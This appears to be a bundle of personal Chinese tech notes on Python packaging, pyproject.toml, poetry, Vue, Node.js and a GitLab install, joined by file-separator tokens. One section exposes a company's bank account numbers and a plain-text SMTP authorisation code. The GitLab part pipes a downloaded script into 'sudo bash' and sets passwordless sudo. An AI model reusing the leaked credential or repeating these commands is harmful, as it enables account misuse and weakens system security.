setuptools是Python distutils增强版的集合,它可以帮助我们更简单的创建和分发Python包,尤其是拥有依赖关系的。用户在使用setuptools创建的包时,并不需要已安装setuptools,只要一个启动模块即可。
### 功能亮点:
- 利用EasyInstall自动查找、下载、安装、升级依赖包
- 创建Python Eggs
- 包含包目录内的数据文件
- 自动包含包目录内的所有的包,而不用在setup.py中列举
- 自动包含包内和发布有关的所有相关文件,而不用创建一个MANIFEST.in文件
- 自动生成经过包装的脚本或Windows执行文件
- 支持Pyrex,即在可以setup.py中列出.pyx文件,而最终用户无须安装Pyrex
- 支持上传到PyPI
- 可以部署开发模式,使项目在sys.path中
- 用新命令或setup()参数扩展distutils,为多个项目发布/重用扩展
- 在项目setup()中简单声明entry points,创建可以自动发现扩展的应用和框架
> 总之,setuptools就是比distutils好用的多,基本满足大型项目的安装和发布
## 1.2.安装setuptools
### 1) 最简单安装,假定在ubuntu下
- sudo apt-get install python-setuptools
### 2) 启动脚本安装
- wget http://peak.telecommunity.com/dist/ez_setup.py
- sudo python ez_setup.py
## 1.3.创建一个简单的包
有了setuptools后,创建一个包基本上是无脑操作
```shell
cd /tmp
mkdir demo
cd demo
```
在demo中创建一个setup.py文件,写入
```shell
from setuptools import setup, find_packages
setup(
name = "demo",
version = "0.1",
packages = find_packages(),
)
```
执行python setup.py bdist_egg即可打包一个test的包了。
```shell
demo
|-- build
| `-- bdist.linux-x86_64
|-- demo.egg-info
| |-- dependency_links.txt
| |-- PKG-INFO
| |-- SOURCES.txt
| `-- top_level.txt
|-- dist
| `-- demo-0.1-py2.7.egg
`-- setup.py
```
在dist中生成的是egg包
```shell
file dist/demo-0.1-py2.7.egg
dist/demo-0.1-py2.7.egg: Zip archive data, at least v2.0 to extract
```
看一下生成的.egg文件,是个zip包,解开看看先
```shell
upzip -l dist/demo-0.1-py2.7.egg
Archive: dist/demo-0.1-py2.7.egg
Length Date Time Name
--------- ---------- ----- ----
1 2013-06-07 22:03 EGG-INFO/dependency_links.txt
1 2013-06-07 22:03 EGG-INFO/zip-safe
120 2013-06-07 22:03 EGG-INFO/SOURCES.txt
1 2013-06-07 22:03 EGG-INFO/top_level.txt
176 2013-06-07 22:03 EGG-INFO/PKG-INFO
--------- -------
299 5 files
```
我们可以看到,里面是一系列自动生成的文件。现在可以介绍一下刚刚setup()中的参数了
```shell
name 包名
version 版本号
packages 所包含的其他包
```
要想发布到PyPI中,需要增加别的参数,这个可以参考官方文档中的例子了。
## 1.4.给包增加内容
上面生成的egg中没有实质的内容,显然谁也用不了,现在我们稍微调色一下,增加一点内容。
在demo中执行mkdir demo,再创建一个目录,在这个demo目录中创建一个**init**.py的文件,表示这个目录是一个包,然后写入:
```python
#!/usr/bin/env python
#-*- coding:utf-8 -*-
def test():
print "hello world!"
if __name__ == '__main__':
test()
```
现在的主目录结构为下:
```shell
demo
|-- demo
| `-- __init__.py
`-- setup.py
再次执行python setup.py bdist_egg后,再看egg包
Archive: dist/demo-0.1-py2.7.egg
Length Date Time Name
--------- ---------- ----- ----
1 2013-06-07 22:23 EGG-INFO/dependency_links.txt
1 2013-06-07 22:23 EGG-INFO/zip-safe
137 2013-06-07 22:23 EGG-INFO/SOURCES.txt
5 2013-06-07 22:23 EGG-INFO/top_level.txt
176 2013-06-07 22:23 EGG-INFO/PKG-INFO
95 2013-06-07 22:21 demo/__init__.py
338 2013-06-07 22:23 demo/__init__.pyc
--------- -------
753 7 files
```
这回包内多了demo目录,显然已经有了我们自己的东西了,安装体验一下。
```css
python setup.py install
```
这个命令会讲我们创建的egg安装到python的dist-packages目录下,我这里的位置在
```bash
tree /usr/local/lib/python2.7/dist-packages/demo-0.1-py2.7.egg
```
查看一下它的结构:
```ruby
/usr/local/lib/python2.7/dist-packages/demo-0.1-py2.7.egg
|-- demo
| |-- __init__.py
| `-- __init__.pyc
`-- EGG-INFO
|-- dependency_links.txt
|-- PKG-INFO
|-- SOURCES.txt
|-- top_level.txt
`-- zip-safe
```
打开python终端或者ipython都行,直接导入我们的包
```python
>>> import demo
>>> demo.test()
hello world!
>>>
```
好了,执行成功!
## 1.5.setuptools进阶
在上例中,在前两例中,我们基本都使用setup()的默认参数,这只能写一些简单的egg。一旦我们的project逐渐变大以后,维护起来就有点复杂了,下面是setup()的其他参数,我们可以学习一下
### 1) `使用find_packages()`
对于简单工程来说,手动增加packages参数很容易,刚刚我们用到了这个函数,它默认在和setup.py同一目录下搜索各个含有 `__init__.py` 的包。其实我们可以将包统一放在一个src目录中,另外,这个包内可能还有aaa.txt文件和data数据文件夹。
```shell
demo
├── setup.py
└── src
└── demo
├── __init__.py
├── aaa.txt
└── data
├── abc.dat
└── abcd.dat
```
如果不加控制,则setuptools只会将 `__init__.py` 加入到egg中,想要将这些文件都添加,需要修改setup.py
```python
from setuptools import setup, find_packages
setup(
packages = find_packages('src'), # 包含所有src中的包
package_dir = {'':'src'}, # 告诉distutils包都在src下
package_data = {
# 任何包中含有.txt文件,都包含它
'': ['*.txt'],
# 包含demo包data文件夹中的 *.dat文件
'demo': ['data/*.dat'],
}
)
```
这样,在生成的egg中就包含了所需文件了。看看:
```shell
Archive: dist/demo-0.0.1-py2.7.egg
Length Date Time Name
-------- ---- ---- ----
88 06-07-13 23:40 demo/__init__.py
347 06-07-13 23:52 demo/__init__.pyc
0 06-07-13 23:45 demo/aaa.txt
0 06-07-13 23:46 demo/data/abc.dat
0 06-07-13 23:46 demo/data/abcd.dat
1 06-07-13 23:52 EGG-INFO/dependency_links.txt
178 06-07-13 23:52 EGG-INFO/PKG-INFO
157 06-07-13 23:52 EGG-INFO/SOURCES.txt
5 06-07-13 23:52 EGG-INFO/top_level.txt
1 06-07-13 23:52 EGG-INFO/zip-safe
-------- -------
777 10 files
```
另外,也可以排除一些特定的包,如果在src中再增加一个tests包,可以通过exclude来排除它,
```python
find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"])
```
### 2) 使用entry_points
一个字典,从entry point组名映射道一个表示entry point的字符串或字符串列表。Entry points是用来支持动态发现服务和插件的,也用来支持自动生成脚本。这个还是看例子比较好理解:
```bash
setup(
entry_points = {
'console_scripts': [
'foo = demo:test',
'bar = demo:test',
],
'gui_scripts': [
'baz = demo:test',
]
}
)
```
修改setup.py增加以上内容以后,再次安装这个egg,可以发现在安装信息里头多了两行代码(Linux下):
```bash
Installing foo script to /usr/local/bin
Installing bar script to /usr/local/bin
```
查看/usr/local/bin/foo内容
```python
#!/usr/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'demo==0.1','console_scripts','foo'
__requires__ = 'demo==0.1'
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.exit(
load_entry_point('demo==0.1', 'console_scripts', 'foo')()
)
```
这个内容其实显示的意思是,foo将执行console_scripts中定义的foo所代表的函数。执行foo,发现打出了hello world!,和预期结果一样。
使用Eggsecutable Scripts
从字面上来理解这个词,Eggsecutable是Eggs和executable合成词,翻译过来就是另eggs可执行。也就是说定义好一个参数以后,可以另你生成的.egg文件可以被直接执行,貌似Java的.jar也有这机制?不很清楚,下面是使用方法:
```bash
setup(
# other arguments here...
entry_points = {
'setuptools.installation': [
'eggsecutable = demo:test',
]
}
)
```
这么写意味着在执行 `python *.egg` 时,会执行我的 `test()` 函数,在文档中说需要将`.egg`放到 `PATH` 路径中。
包含数据文件
在3中我们已经列举了如何包含数据文件,其实setuptools提供的不只这么一种方法,下面是另外两种
#### a)包含所有包内文件
这种方法中包内所有文件指的是受版本控制(CVS/SVN/GIT等)的文件,或者通过MANIFEST.in声明的
```python
from setuptools import setup, find_packages
setup(
...
include_package_data = True
)
```
#### b)包含一部分,排除一部分
```python
from setuptools import setup, find_packages
setup(
...
packages = find_packages('src'),
package_dir = {'':'src'},
include_package_data = True,
# 排除所有 README.txt
exclude_package_data = { '': ['README.txt'] },
)
```
如果没有使用版本控制的话,可以还是使用3中提到的包含方法
可扩展的框架和应用
setuptools可以帮助你将应用变成插件模式,供别的应用使用。官网举例是一个帮助博客更改输出类型的插件,一个博客可能想要输出不同类型的文章,但是总自己写输出格式化代码太繁琐,可以借助一个已经写好的应用,在编写博客程序的时候动态调用其中的代码。
通过entry_points可以定义一系列接口,供别的应用或者自己调用,例如:
```python
setup(
entry_points = {'blogtool.parsers': '.rst = some_module:SomeClass'}
)
setup(
entry_points = {'blogtool.parsers': ['.rst = some_module:a_func']}
)
setup(
entry_points = """
[blogtool.parsers]
.rst = some.nested.module:SomeClass.some_classmethod [reST]
""",
extras_require = dict(reST = "Docutils>=0.3.5")
)
```
上面列举了三中定义方式,即我们将我们some_module中的函数,以名字为blogtool.parsers的借口共享给别的应用。
别的应用使用的方法是通过pkg_resources.require()来导入这些模块。
另外,一个名叫stevedore的库将这个方式做了封装,更加方便进行应用的扩展。
# 2 项目组织
正常情况下源代码应该这样组织:
```shell
.
├── hello
│ ├── hello_impl.py
│ ├── __init__.py
│ └── __main__.py
├── LICENSE
├── Readme.md
├── setup.cfg
└── setup.py
```
各个文件的内容:
```python
# setup.py;会自动读取setup.cfg中的设置
import setuptools
setuptools.setup() # 也可有参调用,则会覆盖.cfg的对应条目
```
```cfg
# setup.cfg;所有条目见 https://setuptools.readthedocs.io/en/latest/userguide/declarative_config.html
[metadata]
name = hellokpg
version = 1.0
author = xxx
long_description = file: Readme.md # 从文件中读取
license = MIT
url = https://github.com/user/repo
classifiers = # PyPI的分类,类似于标签,所有条目见 https://pypi.org/pypi?%3Aaction=list_classifiers
Development Status :: 3 - Alpha
Programming Language :: Python :: 3
[options]
packages = find: # 自动搜索存在__init__.py的文件夹作为包
install_requires = # 依赖,pip安装时靠的就是这个而不是requirements.txt
requests
[options.entry_points]
console_scripts =
pyhello = hello.__main__:main
```
```python
# hello_impl.py
def say(to):
print('hello', to)
```
```python
# __init__.py
from .hello_impl import say
```
```python
# __main__.py
from . import say
import sys
def main():
say(sys.argv[1])
if __name__ == '__main__':
main()
```
使用setup.cfg而不是setup.py的理由是,前者是声明式的配置文件,后者是实际的python代码,可能不安全。setuptools的文档中推荐从setup.py迁移到setup.cfg。 其实未来应该会使用pyproject.toml,但是现在setuptools不支持将它代替setup.cfg,只能代替setup.py,所以就没什么用,有个issue讨论但是没有ETA。
上传到PyPI用的是twine,因为pip支持`install git+https://github.com/...`进行安装,只要那个repo中存在setup.py就行,实际上是下下来在本机构建。wheel的好处是不用在本机上编译C扩展,我这样做没有用到wheel的优势,但是我不会C扩展所以也无所谓。
一些提示:
- 推荐用setup.cfg,除非想结构最精简;未来用pyproject.toml
- .egg已经deprecated了,用.whl;dependency_links也弃用了
- 不需要用distutils,有讨论将它从标准库中移除
- 打错字很可能没有任何提示,比如entry_points写成entry_point打包时不生效也没有任何报错
- whl概念上的“包”和python概念上的“包”是两个概念,前者更类似于“软件包”,后者是存在`__init__.py`的文件夹;本文中“包的名字,可随意取”等句说的就是前者
- 有一些工具能从setup的依赖中生成requirements.txt,但是对于不锁定依赖的简单项目就无所谓了
- `pip install -e`在开发时很有用
- `setup.py install`用的是easy_install,是pip的前身,没必要用
- 最好在一开始就建立好虚拟环境,方便测试。本文为了降低最初的学习曲线没在一开始启用
- 我看不出有什么理由用pbr
进一步学习的资源:
这些并不是本文的参考资料,而是我推荐阅读的文章。因为在学setuptools的过程中我对搜出来的垃圾文章深感痛心,setup.cfg可是在python2的时期就存在了,居然少有文章提到。
- [https://lingxiankong.github.io/2013-12-23-python-setup.html](https://lingxiankong.github.io/2013-12-23-python-setup.html)
- [https://www.cnblogs.com/cposture/p/9029023.html](https://www.cnblogs.com/cposture/p/9029023.html)
- setuptools官方文档:[https://setuptools.readthedocs.io/en/latest/userguide/index.html](https://setuptools.readthedocs.io/en/latest/userguide/index.html)
- 绝对引用和相对引用:[https://www.cnblogs.com/dream08/p/12878331.html](https://www.cnblogs.com/dream08/p/12878331.html)
- 处理命令行参数:[https://github.com/HelloGitHub-Team/Article/tree/master/contents/Python/cmdline](https://github.com/HelloGitHub-Team/Article/tree/master/contents/Python/cmdline)
- 关于wheel的一些特性:[https://realpython.com/python-wheels/](https://realpython.com/python-wheels/)
- PyPI打包文档:[https://packaging.python.org/overview/](https://packaging.python.org/overview/)
+ [pybind11—python C/C++扩展编译](https://www.jianshu.com/p/819e3e8fbe5e)<file_sep>
Linux
```powershell
wsl --install
```
查看可用 Linux 分发版的列表,请输入 `wsl --list --online`
<file_sep>class TestBase(object):
def __init__(self) -> None:
super().__init__()
def prepare(self):
print("this is base prepare")
def step1(self):
pass
def step2(self):
pass
def step3(self):
print("this is base step3")
def main_work(self):
print("this is main work")
self.step1()
self.step2()
self.step3()
class Testwork(TestBase):
def __init__(self) -> None:
super().__init__()
def step1(self):
super().step1()
print("this is Testwork step1")
def main_work(self):
super().main_work()
handle = Testwork()
handle.main_work()<file_sep>```shell
pip install setuptools
```
## PEP 518 和 pyproject.toml
PEP 518的目的是为项目提供一种方法来指定它们所需的构建工具。
就是这样,非常简单明了。在PEP 518和pyproject.toml引入之前。一个项目无法告诉一个像pip这样的工具它需要什么样的构建工具来构建一个wheel(更不用说一个sdist了)。现在setuptools有一个setup_require参数来指定构建项目所需的东西,但是除非你安装了setuptools,否则你无法读取该设置,这意味着你不能声明你需要setuptools来读取setuptools中的设置。这个鸡和蛋的问题就是为什么像virtualenv这样的工具会默认安装setuptools,以及为什么pip在运行一个setup.py时总是会注入setuptools和wheel,不管你是否显式地安装了它。你甚至不要尝试依赖于setuptools的一个特定版本来构建你的项目,因为你没有办法来指定版本; 不管用户碰巧安装了什么,你都得将就使用。
但是PEP 518和pyproject.toml改变了这一点。现在,像pip这样的工具可以读取pyproject.toml,查看其中指定了哪些构建工具,然后将这些工具安装到一个虚拟环境中来构建你的项目。这意味着,如果你愿意,你可以依赖于setuptools和“wheel”的特定版本。另外,如果你需要的话,你甚至可以使用setuptools之外的其他工具来构建(例如flit或Poetry,但是由于这些其他工具需要pyproject.toml,所以他们的用户已经很熟悉pyproject.toml了)。关键是你不再需要对构建你的项目所需的内容进行假设了,这就解放了打包生态系统, 以便其进行实验和发展。
## PEP 517 和造轮子
有了PEP 518,工具就知道需要什么来将一个项目构建成一个轮子(或sdist)。但是,你要怎样从拥有一个pyproject.toml的项目生成一个wheel或sdist呢?这就是PEP 517的用武之地。该PEP指定了如何执行构建工具来构建sdist和wheel。因此,PEP 518安装了构建工具,而PEP 517执行了它们。通过标准化如何运行构建工具,这为使用其他工具打开了大门。在此之前,除了使用python setup.py sdist bdist_wheel之外,没有标准的方法来构建wheel或sdist,这种方法并不是很灵活;例如,运行构建的工具无法传递合适的环境细节。PEP 517帮助我们解决了这个问题。
PEP 517和518导致的另一个变化是构建隔离。既然项目可以指定任意的构建工具,那么像pip这样的工具必须在虚拟环境中构建项目,以确保每个项目的构建工具不会与另一个项目的构建工具需求相冲突。通过确保你的构建工具是一致的,这也有助于可复制的构建。
不幸的是,这会让一些setuptools用户感到沮丧,因为他们没有没有意识到setup.py文件和/或构建环境已经以一种无法被单独构建的方式结构化了。例如,一个用户在离线进行构建,他没有setuptools,他的本地wheels缓存中也没有所需的'wheel'(也称为他们的本地wheel仓库), 因此,当pip试图隔离构建一个项目时会失败,因为pip找不到setuptools和“wheel”来安装到构建的虚拟环境。
## 在pyproject.toml上标准化工具
PEP 518正在尝试引入一个标准文件,该文件所有项目(最终)都应该拥有,这样做的一个有趣的副作用是,非构建开发工具会意识到,它们现在有了一个可以放置自己的配置的文件。我觉得这很有趣,因为最初PEP 518不允许这样做,但是人们选择忽略该PEP的这一部分。我们最终更新了该PEP来允许这个用例,因为很明显人们喜欢将配置数据集中放在一个文件中这一想法。
所以现在像Black、 coverage.py、towncrier和tox (在某种程度上)这样的项目就允许你将它们的配置定义在pyproject.toml中,而不是定义在一个单独的文件中。有时候,你确实会听到人们抱怨说,由于pyproject.toml的原因,他们正在向项目中添加另一个配置文件。但是,我认为人们没有意识到的是,这些项目也可以创建自己的配置文件(事实上,coverage.py和tox都支持自己的文件)。因此,多亏了围绕pyproject.toml的整合项目,确实有一个观点认为,pyproject.toml使得配置文件比以前少了。
## 如何通过setuptools使用pyproject. toml
希望我已经说服你去将pyproject.toml引入到你的基于setuptools的项目中,这样你就可以获得一些好处,比如构建隔离以及指定你希望依赖的setuptools版本的能力。现在你可能在想你的pyproject.toml应该包括什么?不幸的是,没有人有时间去为setuptools文档化所有这些,但幸运的是,问题跟踪添加了该文档,其中概述了什么是必要的:
```toml
[build-system]
requires = ["setuptools >=40.6.0", "wheel"]
build-backend ="setuptools.build_meta"
```
使用了它,你就参与到PEP517标准世界中来了!正如我所说的,你现在可以依赖一个特定版本的setuptools, 并自也可以进行隔离构建(这就是为什么当前目录没有被自动地放置在sys.path上的原因;如果你正在导入本地文件,你将需要 `sys.path.insert(0, os.path.dirname(__file__))` 或等效的方法)。
但是,如果你为setuptools使用了一个带有setup.cfg配置的pyproject.toml,就会有一个好处:你就不需要setup.py文件了!因为像pip这样的工具将会使用PEP 517 API而不是setup.py来调用setuptools,这意味着你就可以删除这个setup.py文件了!
不幸的是,抛弃这个setup.py文件的话会有一个问题:如果你想进行可编辑安装,你仍然需要一个setup.py硬垫片(shim)。但是这对于任何不是setuptools的构建工具来说都是如此,因为还没有一个可编辑安装的标准(不过,人们已经讨论过将其标准化并已经将该标准草拟出来了,但是还没有人有时间来实现概念验证并形成最终的PEP)。幸运的是,这个保持可编辑安装的硬垫片非常小:
一个用于与pyproject.toml和setup.cfg一起使用的setup.py硬垫片(shim)
```python
#!/usr/bin/env python
import setuptools
if __name__ == "__main__":
setuptools.setup()
```
> 如果你想的话,你甚至可以将这个脚本简化为 `import setuptools; setuptools.setup()`。
## 这一切将如何发展
所有这些归结起来就是Python打包生态系统正朝着以标准为基础的方向努力。这些标准都致力于使工具以及如何使用它们标准化。例如,如果我们都知道wheel是如何被格式化的以及如何安装它们,那么你就不必关心wheel是如何创建的,你只需要知道wheel是为你想要安装的东西而存在的,并且它遵循适当的标准。如果你不断地推进这一工作并进行更多的标准化,那么这将使工具能更容易地通过标准进行通信,并为人们提供使用任何他们想要用来生成这些构件的软件的自由。
例如,你可能已经注意到我一直在说“像pip这样的工具”,而不是仅仅说“pip”。我这样说完全是故意的。通过制定所有这些标准,这意味着工具就不必完全依赖于pip来做事情了,因为“pip就是这样做的”。例如,tox可以通过使用像pep517这样的库来构建一个wheel,然后使用另一个像distlib这样的库来安装这个wheel的方式来自行安装一个wheel。
标准还去除了对某事是否是故意的猜测。这对于确保每个人都同意事情应该如何进行非常重要。当标准开始在彼此之上建立,并很好地流入彼此时,一致性也就会有了。当每个人都朝着他们之前达成一致的相同的东西前进时,争论也就少了(最终)。
它还可以减轻setuptools的压力。它不必尝试成为每个人的一切,因为人们现在可以选择最适合他们的项目和开发风格的工具。对pip来说,也是如此。
另外,我们不是都想用platypus吗?
英文原文:https://snarky.ca/what-the-heck-is-pyproject-toml/<file_sep>```txt
单位名称: 无锡英派电子科技有限公司
单位地址: 无锡市锡山经济技术开发区凤威路2号
统一信用代码: 91320205571430661W
开 户 行: 中国银行无锡锡山支行
人民币帐号: 507958200369
电 话: 0510-66725676
<EMAIL>
```
```txt
单位名称: 上海佳湃软件科技中心
单位地址: 上海市奉贤区青村镇青高路890号1幢
统一信用代码: 91310120MA1JK8G5XE
开 户 行: 中国农业银行股份有限公司上海东沟支行
人民币帐号: 03424000040014915
税务UKey号: 917104153532
税务机关: 国家税务总局上海是奉贤区税务局第十八税务所
税务UKey版本号:00010000191023
企业性质:小规模纳税人
```
```shell
JVFUELSWANMQMZRK
```
## 电子发票配置
```shell
版式文件服务器地址: skfp.shanghai.chinatax.gov.cn
版式文件服务器端口: 9008
邮件发件箱地址: <EMAIL>
发送邮件服务器地址: smtp.163.com
发送邮件服务器端口: 465
邮箱smtp授权码: JVFUELSWANMQMZRK
```
163邮箱的收取邮件支持POP/IMAP两种协议,发送邮件采用SMTP协议,收件和发件均使用SSL协议来进行加密传输,采用SSL协议需要单独对帐户进行设置。采用SSL协议和非SSL协议时端口号有所区别,参照下表的一些常见配置组合:
| 类型 | 服务器名称 | 服务器地址 | SSL协议端口号 | 非SSL协议端口号 |
| ---------- | ---------- | ------------ | ------------- | --------------- |
| 收件服务器 | POP | pop.163.com | 995 | 110 |
| 收件服务器 | IMAP | imap.163.com | 993 | 143 |
| 发件服务器 | SMTP | smtp.163.com | 465/994 | 25 |
<file_sep>## pipx
pipx会为安装的每一个包自动创建隔离环境,并自动设置环境变量,安装的包能够被执行,非常使用安装那些命令行程序,比如block、httpie、poetry。
首先在系统级python环境中安装pipx
```shell
pip install pipx
```
验证安装成功
```shell
pipx list
```
## 安装 poetry
```shell
pipx install poetry
pipx list
pipx upgrade poetry
```
## 在项目中使用 poetry
在系统中只有一个poetry就够了,接下来在各个项目中使用即可。
这里有一个项目APIPractice, 之前是pip +requirement.txt 半手动的方式管理依赖,接下来改为poetry
### 1. 初始化 pyproject.toml
在项目的根目录,执行poetry是, 并一路回车
```shell
C:\Users\san\github\APIPractice>poetry init
This command will guide you through creating your pyproject.toml config.
Package name [apipractice]:
Version [0.1.0]:
Description []: 三木的接口自动化测试练习v1
Author []:
License []:
Compatible Python versions [^3.9]:
Would you like to define your main dependencies interactively? (yes/no) [yes]
You can specify a package in the following forms:
- A single name (requests)
- A name and a constraint (requests@^2.23.0)
- A git url (git+https://github.com/python-poetry/poetry.git)
- A git url with a revision (git+https://github.com/python-poetry/poetry.git#develop)
- A file path (../my-package/my-package.whl)
- A directory (../my-package/)
- A url (https://example.com/packages/my-package-0.1.0.tar.gz)
Search for package to add (or leave blank to continue):
Would you like to define your development dependencies interactively? (yes/no) [yes]
Search for package to add (or leave blank to continue):
Generated file
[tool.poetry]
name = "apipractice"
version = "0.1.0"
description = "三木的接口自动化测试练习v1"
authors = ["dongfangtianyu <<EMAIL>+<EMAIL>>"]
[tool.poetry.dependencies]
python = "^3.9"
[tool.poetry.dev-dependencies]
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"
Do you confirm generation? (yes/no) [yes]
```
<file_sep>## 使用指令生成一个 vue 应用
```
vue init webpack sylApp # sylApp 这里是项目名AppName
```
## 理解 Vue 的 MVVM 模式
M:Model 即数据逻辑处理
V:View 即视图(用户界面)
VM:ViewModel 即数据视图,用于监听更新,View 与 Model 数据的双向绑定
所以,Vue 一大特点就是数据双向绑定,另一大特点就是响应式,接下来,我们来看看他的魅力
## 知识点
1. 双大括号表达式
2. 插值
+ `v-once` 指令你也能执行一次性地插值. `<p v-once>msg:{{msg}}</p>`
+ `<div id="app" v-html="msg"></div>`
3. v-bind 指令
+ 双大括号语法不能作用在 HTML 特性(标签属性)上
4. v-on 指令
+ `v-on:submit.prevent`
5. 指令缩写
+ 指令 (Directives) 是带有 `v-` 前缀的特殊特性。
+ 一些指令能够接收一个“参数”,在指令名称之后以冒号表示。
- `<a v-bind:href="url">实验楼</a>`
### 简写
上面例子中我们使用了 v-bind 绑定属性
```
<a v-bind:href="url">实验楼</a>
v-bind:class="className"
v-bind:value="myValue"
```
我们可以简写为:
```
<a :href="url">实验楼</a>
:class="className"
:value
```
`v-on` 简写
上面 v-bind 指令提供简写,同样 `v-on` 指令也提供简写,但是与 `v-bind` 有一些差异,`v-on`: 使用 `@` 简写。
```
<!-- 完整语法 -->
<button v-on:click="handleClick">点我</button>
<!-- 缩写 -->
<button @click="handleClick">点我</button>
```<file_sep>## nodejs
1. 安装nodejs
2. 配置环境
```
npm config set prefix "D:\install\nodejs\node_global"
npm config set cache "D:\install\nodejs\node_cache"
npm install -g cnpm --registry=https://registry.npm.taobao.org
```
3. path 环境变量添加
```
“D:\install\nodejs\node_global”
```
4. 新增系统变量
```
NODE_PATH:“D:\install\nodejs\node_global\node_modules”
```
## 安装vue
```
cnpm install vue -g
cnpm install -g @vue/cli
vue --version
vue create doracms
```
>版本2.XX 安装 `cnpm install vue-cli -g`
vue create is a Vue CLI 3 only command and you are using Vue CLI 2.9.6.
You may want to run the following to upgrade to Vue CLI 3:
卸载
```
npm uninstall -g vue-cli
npm install -g @vue/cli
```
运行 vue create 命令即可创建一个新的项目,本次项目名为:doracms。
你会被提示选择一个 preset,可以选择默认的 default(babel, eslint),直接回车就好。当然,后续熟悉 Vue 使用之后,你也可以自己手动进行配置。
<file_sep>[Docker — 从入门到实践](https://yeasy.gitbook.io/docker_practice/)
<file_sep>```python
def get_command_2(self):
other = []
self.refresh_check_sum()
for item in self._cmd_list:
if isinstance(item, bytes):
other.append(int.from_bytes(item, 'big'))
else:
other.append(item)
print(other)
rst = '\\X' + '\\x'.join('{:02X}'.format(x) for x in other)
print(rst)
```
<file_sep>## 文本绑定
```html
<div id="app">
<!-- 直接给value不会生效 -->
<input v-model="msg" value="hello" />
</div>
```
必须如下设置
```html
<div id="app">
<!-- 直接给value不会生效 -->
<input v-model="msg">
<br>
<br>
<br>
<textarea v-model="msg"></textarea>
</div>
<script>
var app = new Vue({
el:'#app',
data:{
msg:'hello'
}
})
</script>
```
## 单选按钮
`checkbox` 和 radio 使用 checked 属性,所以直接给元素 value 值,当选中时 data 中声明的绑定项的值就为元素 value。
## checked
```html
<div id="app">
<input
type="checkbox"
v-model="toggle"
true-value="yes"
false-value="no"
/>
<p>toggle:{{toggle}}</p>
</div>
<script>
//通过true-value="yes" false-value="no"属性控制,选中时toggle值为yes,未选中时为no
var vue = new Vue({
el: "#app",
data() {
return {
toggle: "",
};
},
});
</script>
```
## 选择框
选择框的值绑定,直接指定每个option的value,可以是固定的,也可以是使用 v-bind:value 动态绑定的:
```html
<div id="app">
<!-- 当选中第一个选项时,`selected` 为字符串 "abc" -->
<select v-model="selected">
<!-- 固定赋值value -->
<option value="abc">ABC</option>
<!-- 使用 v-bind 绑定值 -->
<option v-bind:value="optionValue">DEF</option>
</select>
<p>{{selected}}</p>
</div>
<script>
var vue = new Vue({
el: "#app",
data() {
return {
selected: "",
//第二个option 的值
optionValue: "efg",
};
},
});
</script>
```
## 修饰符
上一章我们学习了按键修饰符,系统修饰符等,同样,Vue 总结了日常开发中经常进行的表单处理业务,进行了封装,使用表单修饰符轻松解决一些表单处理的业务逻辑。
### `.lazy`
开始介绍表单处理时,我们说了几点注意,不同的元素,使用的值不同,抛出的事件也不同。可能开发中,我们不需要数据实时更新,那么,我们怎么将 input 事件与 change 事件替换,可以使用 `.lazy` 修饰符,可以将抛出事件由 input 改为 change ,使表单元素惰性更新,不实时更新。
```html
<div id="app">
<!--使用 .lazy 修饰符将文本框 抛出的事件改为 change 事件,不再实时更新,只有文本框失去焦点才更新数据 惰性更新 -->
<input v-model.lazy="msg" />
<p>{{msg}}</p>
</div>
<script>
var vue = new Vue({
el: "#app",
data: {
msg: "hello",
},
});
</script>
```
### `.number`
如果想自动将用户的输入值转为数值类型,可以给 `v-model` 添加 `number` 修饰符:
这通常很有用,因为即使在 type="number" 时,HTML 输入元素的值返回字符串(默认),需要自己进行类型转换。如果这个值无法被 parseFloat() 解析,则会返回原始的值。 给 v-model 添加 number 修饰符,用户即使输入的是非数值类型,也会进行转换,无法转换时,会返回原始的。
```html
<div id="app">
<p>没有使用 .number 修饰符</p>
<input v-model="number1" type="number" />
<!-- 使用typeof对值类型检测 -->
<p>{{typeof(number1)}}</p>
<p>使用 .number 修饰符</p>
<input v-model.number="number2" type="number" />
<!-- 使用typeof对值类型检测 -->
<p>{{typeof(number2)}}</p>
</div>
<script>
var vue = new Vue({
el: "#app",
data: {
number1: "",
number2: "",
},
});
</script>
```
### `.trim`
表单元素值首尾空格,自动过滤。
```html
<div id="app">
<input v-model.trim="msg" type="text" />
<p>首尾空格被过滤了:{{msg}}</p>
</div>
<script>
var vue = new Vue({
el: "#app",
data: {
msg: "",
},
});
</script>
```
<file_sep>## 代码重构快捷键
序号 |快捷键| 作用
-- | --| --
1| F5 | 复制文件
2| F6 | 移动文件
3| SHIFT + F6 | 重命名
4| ALT + DELETE | 安全删除
5| CTRL + F6 | 改变函数形式参数
6| CTRL + ALT + M | 将代码提取为函数
7| CTRL + ALT + V| 将代码提取为变量
8| CTRL + ALT + C | 将代码提取为常数
9| CTRL + ALT + F | 将代码提取为字段
10| CTRL + ALT + P | 将代码提取为参数
## 其他快捷键
序号 |快捷键| 作用
-- | --| --
1 | Ctrl + F4 | 关闭运行的选项卡
<file_sep>
+ 电容是一种容纳电荷的器件。 由两个彼此绝缘且相隔很近的导体构成。
+ 代表字母:C,PC,CN
## 分类
- 无极性电容
- 有极性电容电解电容
## 常见电容
### 1. 吕电解电容
- 有标记的一端为负极,长脚正、断脚负
- 早期电脑中使用
- 质量差,易鼓包、漏液
- 标记在侧面,顶部有防爆纹
### 2. 固态电容
+ 有标记的一端为负极
+ 性能稳定,使用寿命长
+ 中低端机器中使用较多
+ 标记在顶部,无防爆纹
<file_sep>https://about.gitlab.com/install/#ubuntu
## ubuntu 环境
```shell
dpkg -l | grep ssh
sudo apt-get install openssh-server
dpkg -l | grep ssh
ps -e | grep ssh
sudo /etc/init.d/ssh start
sudo service ssh start
systemctl status sshd
systemctl start sshd
sudo systemctl enable ssh
sudo /etc/init.d/ssh stop
sudo /etc/init.d/ssh start
ssh username@192.168.1.103
hostname
epds-PowerEdge-T20
```
## Add user
```shell
sudo adduser vicky
usermod -aG sudo vicky
cat /etc/sudoers.d/vicky
vicky ALL=(ALL) NOPASSWD: ALL
```
## install gitlab
```shell
sudo apt-get update
sudo apt-get install -y curl openssh-server ca-certificates tzdata perl
sudo apt-get install -y postfix
#curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | sudo bash
curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash
sudo apt-get install gitlab-ce=14.0.1-ce.0
```
